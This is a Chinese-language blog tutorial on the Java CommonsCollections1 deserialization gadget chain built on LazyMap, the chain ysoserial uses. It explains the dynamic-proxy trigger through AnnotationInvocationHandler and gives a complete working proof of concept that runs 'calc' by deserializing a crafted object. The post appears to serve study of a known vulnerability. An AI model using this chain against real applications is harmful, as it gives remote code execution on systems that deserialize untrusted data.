本文最后更新于:2023年9月9日 晚上
[TOC]
【java安全】CommonsCollections1(LazyMap)
前言
前面我们学习了cc1链使用TransformedMap
构造,但是ysoserial
使用的是LazyMap
进行构造的,相对复杂一点
我们先复习一下:
LazyMap
和TransformedMap
都是在CommonsCollections
模块中,我们想要测试首先需要创建maven项目,然后导入坐标
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
我们使用TransformedMap
是通过触发checkSetValue()
方法来触发ChainedTransformer
类的transform()
方法最终RCE
那么LazyMap
是如何触发transform()
方法呢?
LazyMap
我们查看LazyMap
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } }
public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } }
|
发现get()
方法可以执行factory
变量的transform()
方法,而factory
刚好是Transformer
类型
所以只要创建一个LazyMap
对象,factory
传入ChainedTransformer
对象,只要调用了LazyMap
对象的get()
方法,就可以RCE了
如何创建LazyMap
对象?
我们可以使用decorate()
方法:
1 2 3
| public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }
|
参数:
map
参数可以传入一个空的HashMap
对象
factory
可以传入一个ChainedTransformer
对象
如何调用LazyMap
的get()
方法?
我们之前触发 TransformedMap
,是通过sun.reflect.annotation.AnnotationInvocationHandler
执行setValue()
触发TransformedMap
的checkSetValue()
函数执行transform()
方法
1 2 3
| protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }
|
那我们怎么触发LazyMap#get()
方法呢?
我们再看看sun.reflect.annotation.AnnotationInvocationHandler
源码:
1 2 3 4 5 6 7 8 9 10 11 12
| public Object invoke(Object var1, Method var2, Object[] var3) { ... if (var4.equals("toString")) { return this.toStringImpl(); } else if (var4.equals("hashCode")) { return this.hashCodeImpl(); } else if (var4.equals("annotationType")) { return this.type; } else { Object var6 = this.memberValues.get(var4); ... }
|
这里我们注意到invoke()
调用了this.memberValues
变量的get()
方法,而memberValues
变量
1 2 3 4
| AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { this.type = var1; this.memberValues = var2; }
|
是构造AnnotationInvocationHandler
传入的第二个参数,如果我们将var2
传入LazyMap
对象,那么只要AnnotationInvocationHandler
触发了invoke()
方法,就可以调用LazyMap
的get()
方法
如何触发AnnotationInvocationHandler#invoke()
方法?
可以使用java的动态代理
机制,
我们创建一个AnnotationInvocationHandler
对象,第二个参数传入LazyMap
对象,对Map
创建一个代理:
1
| Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),Map.class.getInterfaces(),handler);
|
然后只要随便使用proxyMap
动态代理对象调用方法,就会触发 hander
变量,即AnnotationInvocationHandler
对象的invoke()
方法,从而调用LazyMap
的get()
问题又来了,怎么才能随便调用proxyMap
动态代理对象的方法,并且使用readObject()
反序列化的方式呢?
我们可以再次将proxyMap
封装到AnnotationInvocationHandler
中,因为它的readObject()
方法存在函数调用:
1 2 3 4 5 6 7 8
| private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; ... Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator();
}
|
这里的this.memberValues
就是proxyMap
,他会调用entrySet()
从而触发invoke()
POC
测试环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
try { Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Override.class, mapProxy);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(handler1); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close();
} catch (Exception e) { e.printStackTrace(); }
}
}
|
运行代码:
总结
讲到这里,整个一条链子算是清晰了起来:
1 2 3 4 5 6 7 8
| ->AnnotationInvocationHandler.readObject() ->proxyMap.entrySet().iterator() ->AnnotationInvocationHandler.invoke() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
|
参考
CC链 1-7 分析
Java安全漫谈 - 11.反序列化篇(5)